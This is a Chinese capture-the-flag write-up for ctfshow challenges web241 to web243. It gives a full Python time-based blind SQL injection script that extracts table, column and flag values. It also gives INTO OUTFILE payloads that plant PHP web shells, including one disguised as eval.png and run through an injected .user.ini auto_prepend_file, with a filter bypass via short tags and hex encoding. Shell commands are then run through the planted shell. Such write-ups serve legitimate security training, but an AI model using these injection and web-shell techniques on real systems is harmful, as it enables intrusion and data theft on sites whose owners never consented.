目录
1、web241
//删除记录
$sql = "delete from ctfshow_user where id = {$id}";
这里是 delete 语句,查询出来的东西不会有回显,因此采用盲注。如果采用布尔盲注,我们需要根据页面的回显情况来判断,但是数据只有 21 条,并不够我们删除,还没查出结果数据就会被删完,因此采取时间盲注,通过延时来判断。
特别注意延时的控制,测试 payload:
等于 0 的 id 没有,因此前面不成立,不会执行删除操作,而是执行后面语句。
id=0 or sleep(0.1)
我这里用 0.1 都可以延时 2s 以上,如果 sleep 时间太久就会导致一直转圈
查表名:
payload = {'id':f"0 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)"}
这个跑出来的结果有点不准确,调整 sleep 为 0.18s,对应延时 3.5s 以上:
payload = {'id':f"0 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.18),0)"}
拿到表名为 flag
继续查列名:
payload = {'id':f"0 or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'), {j}, 1) = '{k}',sleep(0.18),0)"}
也叫 flag
查字段:
payload = {'id': f"0 or if(substr((select flag from flag), {j}, 1) = '{k}',sleep(0.18),0)"}
拿到 flag:ctfshow{43862763-f41a-4e25-9cbb-704c656ed840}
附上勇师傅的完整脚本:
# @author:Myon
# @time:20240910
import requests
import string
url = 'http://9a1a4898-270b-4136-885e-911020423c34.challenge.ctf.show/api/delete.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'id':f"0 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.18),0)"} # 猜表名
# payload = {'id':f"0 or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'), {j}, 1) = '{k}',sleep(0.18),0)"} # 猜列名
payload = {'id': f"0 or if(substr((select flag from flag), {j}, 1) = '{k}',sleep(0.18),0)"} # 跑flag
re = requests.post(url, data=payload)
# print(re.elapsed.total_seconds())
if re.elapsed.total_seconds() > 3.5:
out += k
break
print(out)
2、web242
真的是很无语,题目就给个 dump 目录,又不说我这个 filename 在哪里传,找了 api 接口,不是,file.php?,也不是,我****
这里传参的文件叫 dump.php,在 api 接口下:
我们知道 into outfile 可以用来写入 webshell,之前接触的是前面 select 的内容可控,但是这里传入的参数位置在 into outfile 的后面,因此 select 写入的方法不适用,我们采用行结束符或者字段分隔符来写入,类似这种格式:
在我之前关于 HVV 的文章中也有介绍,这个其实也是 sqlmap 的 --os-shell 参数的写入方法。
1'into outfile '路径' + lines terminated by + <木马>
1'into outfile '路径' + lines starting by + <木马>
1'into outfile '路径' + fields terminated by + <木马>
1'into outfile '路径' + columns terminated by + <木马>
在 into outfile 后面可以接扩展参数,这里注意正确闭合引号就可以了,payload:
filename=myon.php'lines terminated by "<?php eval($_POST[1]);?>"#
写入的文件在 dump 目录下,访问调用即可:
在根目录下发现一个名为 flag.here 的文件
读取:
1=system('cat /flag.here');
拿到 flag:ctfshow{74769a98-c7e0-464e-9605-a541e184b419}
3、web243
新增过滤了 php,可以结合配置文件来解析实现绕过。
它这里有一个假的 403 的 php 文件:
先写入 配置文件 .user.ini
filename=.user.ini'lines starting by "auto_prepend_file=eval.png"#
这里为什么用 STARTING 了,看一下两者的区别:
一个会将写入内容放在开头,另一个则是设置在结尾,为了减少配置文件内容被查询内容影响,这里我们选择将配置文件内容放在开头。
LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
再写入一句话木马 eval.png,注意内容使用短标签绕过:
filename=eval.png'lines starting by "<?=@eval($_POST[1]);?>"#
调用时还是出了问题,很明显是查询内容与我们写入内容拼接起来了
下载我们写入的配置文件看看,果然是的
这里得截断一下,我们可以将写入的内容就放在后面,但是得先在前面用分号截断:
filename=.user.ini'lines starting by ';' terminated by"auto_prepend_file=eval.png"#
但是下载配置文件查看感觉还是有点问题(没有调用成功)
这里采用十六进制,对配置文件前后都增加换行符(%0a)
filename=.user.ini'lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d6576616c2e706e670a#
这次看着应该就没什么问题了
写入一句话:
filename=eval.png'lines starting by "<?=@eval($_POST[1]);?>"#
调用:
读取:
拿到 flag:ctfshow{713f73bb-9eb9-4232-b640-dcf0d87a67fe}
更简单的方法,我们就放前面,在配置文件内容后面使用分号截断,避免与查询结果拼接:
filename=.user.ini'lines starting by "auto_prepend_file=eval.png;"#
写入后内容如下:
写入一句话:
filename=eval.png'lines starting by "<?=@eval($_POST[1]);?>"#
同样也可以解析成功,最主要的就是确保写入的配置文件内容不受查询结果影响。